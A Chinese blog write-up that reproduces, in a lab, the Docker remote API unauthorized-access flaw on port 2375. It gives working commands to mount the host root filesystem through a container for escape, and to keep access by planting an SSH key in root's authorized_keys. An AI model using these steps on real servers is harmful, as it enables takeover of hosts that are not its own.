漏洞介绍
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。在默认部署的情况下,存在未授权访问的危害,导致攻击者可以执行任意命令,导致服务器沦陷。
Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限。
漏洞危害
1、导致命令执行,服务器被入侵
2、内网被渗透,导致数据被窃取等风险
受影响的版本
Docker version 19.03.12 之前版本
漏洞复现
在搭建靶机的过程中遇到了很多坑,按网上的方法使用vulhub搭建靶场,结果容器一直起不来,使用fofa找国外公网资产虽然多,但是各种限制,最后看到一篇文章,本地搭建成功了。
docker安装
使用官方脚本安装即可,我用的是菜鸟教程
https://www.runoob.com/docker/debian-docker-install.html
配置docker支持远程访问
安装完成之后,需要配置docker支持远程访问
1、进行文件备份
cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak
2、编辑docker服务文件
vim /lib/systemd/system/docker.service
3、在文件末尾加上如下代码
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
4、保存并退出后,重载守护进程以及重启docker服务即可
sudo systemctl daemon-reload #重载守护进程
sudo service docker restart #重启docker服务
systemctl status docker.service #查看docker运行情况
漏洞检测
访问http://x.x.x.x:2375
或
docker -H tcp://x.x.x.x:2375 images
证明存在漏洞
漏洞利用
使用命令拉取一个镜像,可以用已经存在的镜像,这里我用的是一个busybox镜像,因为这个镜像很小,但是命令很全。
docker -H tcp://192.168.88.130 pull busybox
使用拉取的镜像启动一个新的容器,以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt bc01a3326866 sh 或者 /bin/bash
执行之后会返回一个该容器宿主机的shell
进入/mnt目录下即可逃逸到宿主机
权限维持
在本地生成ssh公私钥对,将公钥内容通过echo写入靶机/mnt/root/.ssh/authorized_keys
文件中
使用ssh登录
ssh -i id_rsa [email protected]
补充说明
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt c8552d79a138 /bin/bash
等价于在宿主机上执行docker run -it -v /:/mnt c8552d79a138 /bin/bash
进入mnt目录后成功逃逸
权限维持方法
1、通过写入ssh公钥连接shell
本地生成rsa公私钥对
#ssh-keygen
将生成的公钥id_rsa.pub的内容复制,写入靶机的/root/.ssh/authorized_keys文件中
#echo "xxxxxxx" >>authorized_keys
本地进行ssh连接
#ssh -i id_rsa [email protected] (无需输入密码)
2、写入计划任务反弹shell
标签:Getshell,Remote,mnt,tcp,漏洞,API,ssh,docker,Docker
From: https://www.cnblogs.com/hgschool/p/17030399.html